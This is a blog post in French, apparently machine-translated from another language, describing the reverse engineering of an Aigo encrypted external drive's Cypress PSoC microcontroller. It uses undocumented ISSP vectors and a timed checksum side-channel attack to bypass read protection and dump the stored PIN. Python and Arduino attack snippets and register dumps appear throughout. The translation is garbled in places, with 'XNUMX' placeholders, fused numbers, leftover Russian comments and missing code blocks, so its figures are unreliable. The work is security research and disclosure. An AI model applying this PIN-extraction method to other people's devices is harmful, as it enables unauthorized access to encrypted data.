ProHoster > Blog > administration > Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC
Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC
Il s'agit de la deuxième et dernière partie de l'article sur le piratage des disques externes à chiffrement automatique. Permettez-moi de vous rappeler qu'un collègue m'a récemment apporté un disque dur Patriot (Aigo) SK8671, et j'ai décidé de l'inverser, et maintenant je partage ce qui en est ressorti. Avant de poursuivre votre lecture, assurez-vous de lire première partie articles.
4. Nous commençons à faire un dump du lecteur flash PSoC interne
Ainsi, tout indique (comme nous l’avons établi dans [la première partie]()) que le code PIN est stocké dans les profondeurs flash du PSoC. Par conséquent, nous devons lire ces profondeurs de flash. Devant des travaux nécessaires :
prendre le contrôle de la « communication » avec le microcontrôleur ;
trouver un moyen de vérifier si cette « communication » est protégée de la lecture de l'extérieur ;
trouver un moyen de contourner la protection.
Il existe deux endroits où il est judicieux de rechercher un code PIN valide :
mémoire flash interne ;
SRAM, où le code PIN peut être stocké pour le comparer avec le code PIN saisi par l'utilisateur.
Pour l'avenir, je noterai que j'ai quand même réussi à faire un dump du lecteur flash PSoC interne - en contournant son système de sécurité à l'aide d'une attaque matérielle appelée « traçage de démarrage à froid » - après avoir inversé les capacités non documentées du protocole ISSP. Cela m'a permis de vider directement le code PIN réel.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9
La « communication » avec un microcontrôleur peut signifier différentes choses : du « fournisseur à fournisseur » à l'interaction utilisant un protocole série (par exemple, ICSP pour le PIC de Microchip).
Cypress possède pour cela son propre protocole propriétaire, appelé ISSP (In-System Serial Programming Protocol), qui est partiellement décrit dans spécifications techniques. Brevet US7185162 donne également quelques informations. Il existe également un équivalent OpenSource appelé HSSP (nous l'utiliserons un peu plus tard). L'ISSP fonctionne comme suit :
redémarrer le PSoC ;
afficher le nombre magique sur la broche de données série de ce PSoC ; pour entrer en mode de programmation externe ;
envoyer des commandes, qui sont de longues chaînes de bits appelées « vecteurs ».
La documentation ISSP définit ces vecteurs pour seulement une petite poignée de commandes :
Initialiser-1
Initialiser-2
Initialiser-3 (options 3V et 5V)
ID-CONFIGURATION
LECTURE-ID-WORD
SET-BLOCK-NUM : 10011111010dddddddd111, où ddddddddd=bloc #
EFFACER EN VRAC
BLOC DE PROGRAMME
VÉRIFIER-CONFIGURATION
READ-BYTE : 10110aaaaaaZDDDDDDDDZ1, où DDDDDDDD = sortie de données, aaaaaa = adresse (6 bits)
Tous les vecteurs ont la même longueur : 22 bits. La documentation HSSP contient des informations supplémentaires sur l'ISSP : « Un vecteur ISSP n'est rien de plus qu'une séquence de bits qui représente un ensemble d'instructions. »
5.2. Vecteurs démystifiants
Voyons ce qui se passe ici. Au départ, je supposais que ces mêmes vecteurs étaient des versions brutes des instructions M8C, mais après avoir vérifié cette hypothèse, j'ai découvert que les opcodes des opérations ne correspondaient pas.
Ensuite, j'ai recherché le vecteur ci-dessus sur Google et je suis tombé sur le voici une étude où l'auteur, bien qu'il n'entre pas dans les détails, donne quelques conseils utiles : « Chaque instruction commence par trois bits qui correspondent à l'un des quatre mnémoniques (lecture depuis la RAM, écriture dans la RAM, lecture du registre, écriture du registre). Ensuite, il y a 8 bits d’adresse, suivis de 8 bits de données (lecture ou écriture) et enfin trois bits d’arrêt.
J’ai ensuite pu glaner des informations très utiles dans la section Supervisory ROM (SROM). Manuel technique. SROM est une ROM codée en dur dans le PSoC qui fournit des fonctions utilitaires (de la même manière que Syscall) pour le code de programme exécuté dans l'espace utilisateur :
00h : SWBootRéinitialiser
01h : LireBloc
02h : Bloc d'écriture
03h : EffacerBloquer
06h : TableLire
07h : Somme de contrôle
08h : Calibrer0
09h : Calibrer1
En comparant les noms de vecteurs aux fonctions SROM, nous pouvons mapper les différentes opérations prises en charge par ce protocole aux paramètres SROM attendus. Grâce à cela, nous pouvons décoder les trois premiers bits des vecteurs ISSP :
100 => "wrem"
101 => « mémoire mémoire »
110 => « mauvais »
111 => «regreg»
Cependant, une compréhension complète des processus sur puce ne peut être obtenue que par une communication directe avec le PSoC.
5.3. Communication avec PSoC
Puisque Dirk Petrautsky a déjà porté Code HSSP de Cypress sur Arduino, j'ai utilisé Arduino Uno pour me connecter au connecteur ISSP de la carte clavier.
Veuillez noter qu'au cours de mes recherches, j'ai pas mal modifié le code de Dirk. Vous pouvez trouver ma modification sur GitHub : ici et le script Python correspondant pour communiquer avec Arduino, dans mon dépôt cypress_psoc_tools.
Ainsi, en utilisant Arduino, j'ai d'abord utilisé uniquement les vecteurs « officiels » de « communication ». J'ai essayé de lire la ROM interne à l'aide de la commande VERIFY. Comme prévu, je n'ai pas pu le faire. Probablement dû au fait que les bits de protection en lecture sont activés à l'intérieur du lecteur flash.
Ensuite, j'ai créé quelques-uns de mes propres vecteurs simples pour écrire et lire la mémoire/les registres. Veuillez noter que nous pouvons lire l'intégralité de la SROM même si la clé USB est protégée !
5.4. Identification des registres sur puce
Après avoir examiné les vecteurs « désassemblés », j'ai découvert que l'appareil utilise des registres non documentés (0xF8-0xFA) pour spécifier les opcodes M8C, qui sont exécutés directement, en contournant la protection. Cela m'a permis d'exécuter divers opcodes tels que "ADD", "MOV A, X", "PUSH" ou "JMP". Grâce à eux (en regardant les effets secondaires qu'ils ont sur les registres) j'ai pu déterminer lesquels des registres non documentés étaient en réalité des registres réguliers (A, X, SP et PC).
Du coup, le code « démonté » généré par l'outil HSSP_disas.rb ressemble à ceci (j'ai ajouté des commentaires pour plus de clarté) :
A ce stade, je peux déjà communiquer avec le PSoC, mais je ne dispose toujours pas d'informations fiables sur les éléments de sécurité de la clé USB. J'ai été très surpris par le fait que Cypress ne fournit à l'utilisateur de l'appareil aucun moyen de vérifier si la protection est activée. J'ai fouillé plus profondément dans Google pour enfin comprendre que le code HSSP fourni par Cypress a été mis à jour après que Dirk a publié sa modification. Et ainsi! Ce nouveau vecteur est apparu :
En utilisant ce vecteur (voir read_security_data dans psoc.py), nous obtenons tous les bits de sécurité dans la SRAM à 0x80, où il y a deux bits par bloc protégé.
Le résultat est déprimant : tout est protégé en mode « désactiver la lecture et l'écriture externes ». Par conséquent, non seulement nous ne pouvons rien lire à partir d'un lecteur flash, mais nous ne pouvons rien non plus écrire (par exemple, pour y installer un dumper ROM). Et le seul moyen de désactiver la protection est d’effacer complètement la puce entière. 🙁
6. Première attaque (ratée) : ROMX
Cependant, nous pouvons essayer l'astuce suivante : puisque nous avons la possibilité d'exécuter des opcodes arbitraires, pourquoi ne pas exécuter ROMX, qui sert à lire la mémoire flash ? Cette approche a de bonnes chances de succès. Parce que la fonction ReadBlock qui lit les données du SROM (qui est utilisé par les vecteurs) vérifie si elle est appelée depuis l'ISSP. Cependant, l'opcode ROMX pourrait ne pas avoir une telle vérification. Voici donc le code Python (après avoir ajouté quelques classes d'assistance au code Arduino) :
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byte
Malheureusement, ce code ne fonctionne pas. 🙁 Ou plutôt ça marche, mais en sortie on obtient nos propres opcodes (0x28 0x30 0x40) ! Je ne pense pas que la fonctionnalité correspondante de l'appareil soit un élément de protection en lecture. Cela ressemble plus à une astuce d'ingénierie : lors de l'exécution d'opcodes externes, le bus ROM est redirigé vers un tampon temporaire.
7. Deuxième attaque : traçage de démarrage à froid
Cela appelle essentiellement la fonction SROM 0x07, telle que présentée dans la documentation (c'est moi qui souligne) :
Cette fonction vérifie la somme de contrôle. Il calcule une somme de contrôle de 16 bits du nombre de blocs spécifiés par l'utilisateur dans une banque flash, en commençant à zéro. Le paramètre BLOCKID permet de transmettre le nombre de blocs qui seront utilisés lors du calcul de la somme de contrôle. Une valeur de « 1 » calculera uniquement la somme de contrôle pour le bloc zéro ; alors que "0" entraînera le calcul de la somme de contrôle totale des 256 blocs de la banque flash. La somme de contrôle de 16 bits est renvoyée via KEY1 et KEY2. Le paramètre KEY1 stocke les 8 bits de poids faible de la somme de contrôle et le paramètre KEY2 stocke les 8 bits de poids fort. Pour les appareils dotés de plusieurs banques flash, la fonction de somme de contrôle est appelée pour chacune séparément. Le numéro de banque avec lequel il fonctionnera est défini par le registre FLS_PR1 (en y définissant le bit correspondant à la banque flash cible).
Notez qu'il s'agit d'une simple somme de contrôle : les octets sont simplement ajoutés les uns après les autres ; pas de bizarreries CRC sophistiquées. De plus, sachant que le noyau M8C dispose d'un très petit ensemble de registres, j'ai supposé que lors du calcul de la somme de contrôle, les valeurs intermédiaires seraient enregistrées dans les mêmes variables qui iront finalement à la sortie : KEY1 (0xF8) / KEY2 ( 0xF9).
Donc en théorie mon attaque ressemble à ceci :
Nous nous connectons via ISSP.
Nous commençons le calcul de la somme de contrôle en utilisant le vecteur CHECKSUM-SETUP.
Nous redémarrons le processeur après un temps T spécifié.
Nous lisons la RAM pour obtenir la somme de contrôle actuelle C.
Répétez les étapes 3 et 4 en augmentant légèrement T à chaque fois.
Nous récupérons les données d'un lecteur flash en soustrayant la somme de contrôle précédente C de la somme de contrôle actuelle.
Cependant, il y a un problème : le vecteur Initialize-1 que nous devons envoyer après le redémarrage écrase KEY1 et KEY2 :
Ce code écrase notre précieuse somme de contrôle en appelant Calibrate1 (fonction SROM 9)... Peut-être pouvons-nous simplement envoyer le nombre magique (du début du code ci-dessus) pour entrer en mode programmation, puis lire la SRAM ? Et oui, ça marche ! Le code Arduino qui implémente cette attaque est assez simple :
Exécutez le calcul de la somme de contrôle (send_checksum_v).
Attendez une période de temps spécifiée ; en tenant compte des écueils suivants :
J'ai perdu beaucoup de temps jusqu'à ce que je découvre ce que ça donne délaiMicrosecondes fonctionne correctement uniquement avec des retards ne dépassant pas 16383 μs ;
puis j'ai encore tué le même laps de temps jusqu'à ce que je découvre que delayMicroseconds, si 0 lui est transmis en entrée, fonctionne complètement de manière incorrecte !
Redémarrez le PSoC en mode programmation (on envoie juste le nombre magique, sans envoyer de vecteurs d'initialisation).
Code final en Python :
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))
En un mot, ce que fait ce code :
Redémarre le PSoC (et lui envoie un nombre magique).
Envoie des vecteurs d'initialisation complets.
Appelle la fonction Arduino Cmnd_STK_START_CSUM (0x85), où le délai en microsecondes est passé en paramètre.
Lit la somme de contrôle (0xF8 et 0xF9) et le registre non documenté 0xF1.
Ce code est exécuté 10 fois en 1 microseconde. 0xF1 est inclus ici car c'était le seul registre qui changeait lors du calcul de la somme de contrôle. Il s'agit peut-être d'une sorte de variable temporaire utilisée par l'unité arithmétique et logique. Notez le vilain hack que j'utilise pour réinitialiser l'Arduino à l'aide de picocom lorsque l'Arduino cesse de montrer des signes de vie (je ne sais pas pourquoi).
7.2. Lire le résultat
Le résultat du script Python ressemble à ceci (simplifié pour plus de lisibilité) :
DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр
# F8 младший байт контрольной суммы
# F9 старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30
Ceci étant dit, nous avons un problème : puisque nous opérons avec une véritable somme de contrôle, un octet nul ne change pas la valeur lue. Cependant, étant donné que l'ensemble de la procédure de calcul (8192 0,1478 octets) prend 18,04 seconde (avec de légères variations à chaque exécution), ce qui équivaut à environ XNUMX μs par octet, nous pouvons utiliser ce temps pour vérifier la valeur de la somme de contrôle à des moments appropriés. Pour les premières exécutions, tout se lit assez facilement, puisque la durée de la procédure de calcul est toujours presque la même. Cependant, la fin de ce dump est moins précise car les « écarts mineurs de timing » à chaque exécution s’additionnent pour devenir significatifs :
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD
Cela représente 10 vidages pour chaque retard d'une microseconde. La durée totale de fonctionnement pour vider les 8192 48 octets d'un lecteur flash est d'environ XNUMX heures.
7.3. Reconstruction binaire Flash
Je n'ai pas encore fini d'écrire le code qui reconstruira complètement le code du programme de la clé USB, en tenant compte de tous les écarts temporels. Cependant, j'ai déjà restauré le début de ce code. Pour être sûr de l'avoir fait correctement, je l'ai démonté à l'aide de m8cdis :
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f ret
Cela semble tout à fait plausible !
7.4. Trouver l'adresse de stockage du code PIN
Maintenant que nous pouvons lire la somme de contrôle aux moments dont nous avons besoin, nous pouvons facilement vérifier comment et où elle change lorsque nous :
entrez le mauvais code PIN ;
changer le code PIN.
Tout d’abord, pour trouver l’adresse de stockage approximative, j’ai effectué un vidage de la somme de contrôle par incréments de 10 ms après un redémarrage. Ensuite, j'ai entré un mauvais code PIN et j'ai fait de même.
Le résultat n’a pas été très agréable car il y a eu de nombreux changements. Mais au final, j'ai pu déterminer que la somme de contrôle changeait entre 120000 140000 µs et 0 XNUMX µs de retard. Mais le "pincode" que j'y ai affiché était complètement incorrect - à cause d'un artefact de la procédure delayMicroseconds, qui fait des choses étranges lorsque XNUMX lui est transmis.
Puis, après avoir passé près de 3 heures, je me suis souvenu que l'appel système SROM CheckSum reçoit un argument en entrée qui spécifie le nombre de blocs pour la somme de contrôle ! Que. nous pouvons facilement localiser l'adresse de stockage du code PIN et le compteur de « tentatives incorrectes », avec une précision allant jusqu'à un bloc de 64 octets.
Mes premières exécutions ont produit le résultat suivant :
Ensuite, j'ai changé le code PIN de "123456" à "1234567" et j'ai obtenu :
Ainsi, le code PIN et le compteur de tentatives incorrectes semblent être stockés dans le bloc n°126.
7.5. Faire un dump du bloc n°126
Le bloc n°126 devrait être situé quelque part autour de 125x64x18 = 144000 145527 μs, depuis le début du calcul de la somme de contrôle, dans mon dump complet, et cela semble tout à fait plausible. Ensuite, après avoir trié manuellement de nombreux dumps invalides (en raison de l'accumulation de « écarts mineurs de timing »), j'ai fini par obtenir ces octets (avec une latence de XNUMX XNUMX μs) :
Il est bien évident que le code PIN est stocké sous forme non cryptée ! Bien entendu, ces valeurs ne sont pas écrites en codes ASCII, mais il s'avère qu'elles reflètent les lectures prises sur le clavier capacitif.
Enfin, j'ai effectué quelques tests supplémentaires pour trouver où était stocké le compteur de tentatives incorrectes. Voici le résultat :
0xFF - signifie "15 tentatives" et diminue à chaque tentative échouée.
7.6. Récupération du code PIN
Voici mon vilain code qui rassemble ce qui précède :
Veuillez noter que les valeurs de latence que j'ai utilisées sont probablement pertinentes pour un PSoC spécifique - celui que j'ai utilisé.
8. Quelle est la prochaine?
Alors, résumons côté PSoC, dans le cadre de notre drive Aigo :
nous pouvons lire la SRAM même si elle est protégée en lecture ;
Nous pouvons contourner la protection anti-swipe en utilisant une attaque de trace de démarrage à froid et en lisant directement le code PIN.
Cependant, notre attaque présente quelques failles dues à des problèmes de synchronisation. Il pourrait être amélioré comme suit :
écrire un utilitaire pour décoder correctement les données de sortie obtenues à la suite d'une attaque de « trace de démarrage à froid » ;
utilisez un gadget FPGA pour créer des délais plus précis (ou utilisez des minuteries matérielles Arduino) ;
essayez une autre attaque : entrez un code PIN délibérément incorrect, redémarrez et videz la RAM, en espérant que le code PIN correct sera enregistré dans la RAM pour comparaison. Cependant, ce n'est pas si simple à faire sur Arduino, puisque le niveau du signal Arduino est de 5 volts, alors que la carte que nous examinons fonctionne avec des signaux de 3,3 volts.
Une chose intéressante qui pourrait être tentée est de jouer avec le niveau de tension pour contourner la protection en lecture. Si cette approche fonctionnait, nous serions en mesure d'obtenir des données absolument précises à partir du lecteur flash - au lieu de nous fier à la lecture d'une somme de contrôle avec des délais de synchronisation imprécis.
Puisque le SROM lit probablement les bits de garde via l'appel système ReadBlock, nous pourrions faire la même chose que décrit sur le blog de Dmitry Nedospasov - une réimplémentation de l'attaque de Chris Gerlinski, annoncée lors de la conférence "REcon Bruxelles 2017".
Une autre chose amusante qui pourrait être faite est de retirer le boîtier de la puce : effectuer un vidage SRAM, identifier les appels système et les vulnérabilités non documentés.
9. Заключение
La protection de ce disque laisse donc beaucoup à désirer, car il utilise un microcontrôleur classique (non « durci ») pour stocker le code PIN... De plus, je n'ai pas (encore) regardé comment ça se passe avec les données cryptage sur cet appareil !
Que pouvez-vous recommander pour Aigo? Après avoir analysé quelques modèles de disques durs cryptés, j'ai réalisé en 2015 présentation sur SyScan, dans lequel il a examiné les problèmes de sécurité de plusieurs disques durs externes et a formulé des recommandations sur ce qui pourrait être amélioré. 🙂
J'ai passé deux week-ends et plusieurs soirées à faire cette recherche. Un total d'environ 40 heures. Compter du tout début (quand j'ai ouvert le disque) jusqu'à la fin (vidage du code PIN). Les mêmes 40 heures incluent le temps que j'ai passé à rédiger cet article. Ce fut un voyage très excitant.